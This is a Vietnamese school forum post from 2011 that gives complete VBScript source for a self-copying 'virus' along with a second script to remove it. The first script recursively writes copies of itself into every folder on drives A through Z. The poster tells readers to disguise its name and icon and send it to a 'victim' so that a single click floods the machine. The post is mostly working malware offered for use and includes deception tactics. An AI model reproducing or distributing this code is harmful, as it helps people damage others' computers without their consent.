Chào mừng đến với Diễn đàn tập thể A5 - THCS Thị Trấn - Vũ Thư - Thái Bình. Bạn đăng nhập tài khoản để thêm nhiều quyền lợi. Nếu chưa có tài khoản xin vào phần đăng kí
Xin trân trọng cảm ơn
Ban quản lí diễn đàn. Đại diện: Mr.IT
Địa chỉ liên hệ: viet.anh.it.0201@gmail.com
Tao virus hang khung!
Đăng Ký
Trang Tin Tuc*Trang Tin Tuc*  Trang ChínhTrang Chính  CalendarCalendar  Tìm kiếmTìm kiếm  Thành viênThành viên  NhómNhóm  Đăng kýĐăng ký  Đăng Nhập  Trợ giúpTrợ giúp  


Share | 
 

 Tao virus hang khung!

Xem chủ đề cũ hơn Xem chủ đề mới hơn Go down 
Tác giảThông điệp
tranvietdung_a5
mini_admin
mini_admin


Tổng số bài gửi : 26
Join date : 23/08/2011
Đến từ : mi

Bài gửiTiêu đề: Tao virus hang khung!   Mon Aug 29, 2011 2:51 pm

Vào START => PROGRAMS =>ACCESSORIES=>NOTEPAD
Copy đoạn mã sau:


'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub


Lưu lại với tên: thuocdoc.vbs (nhất định phải lưu lại dưới dạng .VBS)

Thay đổi tên và icon cho đẹp mắt rồi gởi cho nạn nhân. Chỉ cần 1 cú click là TRÀN NGẬP cả máy...

Nếu bạn là nạn nhân:

.Copy Đoạn Mã Sau :
'Thuoc Giai
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub

Lưu lại với tên thuocgiai.vbs sau đó kích đôi vào là OK!!!





Tạo virus tự nhân bản (vui)!!!
Về Đầu Trang Go down
Xem lý lịch thành viên
 
Tao virus hang khung!
Xem chủ đề cũ hơn Xem chủ đề mới hơn Về Đầu Trang 
Trang 1 trong tổng số 1 trang
 Similar topics
-
» Tìm hiểu về Vận đơn đường biển (Bill of Lading - B/L)
» Hệ thống báo động trực ca hàng hải (Bridge Navigation Watch Alarm System - BNWAS)
» Hình đẹp - Phong cảnh
» [Hình ảnh] Một số hình ảnh về tàu dầu
» Danh mục thiết bị thông tin và liên lạc hàng hải

Permissions in this forum:Bạn không có quyền trả lời bài viết
 :: ๑๑۩۞۩๑๑... Kiến thức học tập ...๑๑۩۞۩๑๑ :: Tin học và cuộc sống :: Tò mò club-
Chuyển đến 

Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2011, Jelsoft Enterprises Ltd.

Nhập Vào Nick YM Bạn Muốn "Chôm" Avatar





Free forum | © phpBB | Free forum support | Liên hệ | Report an abuse | Free blog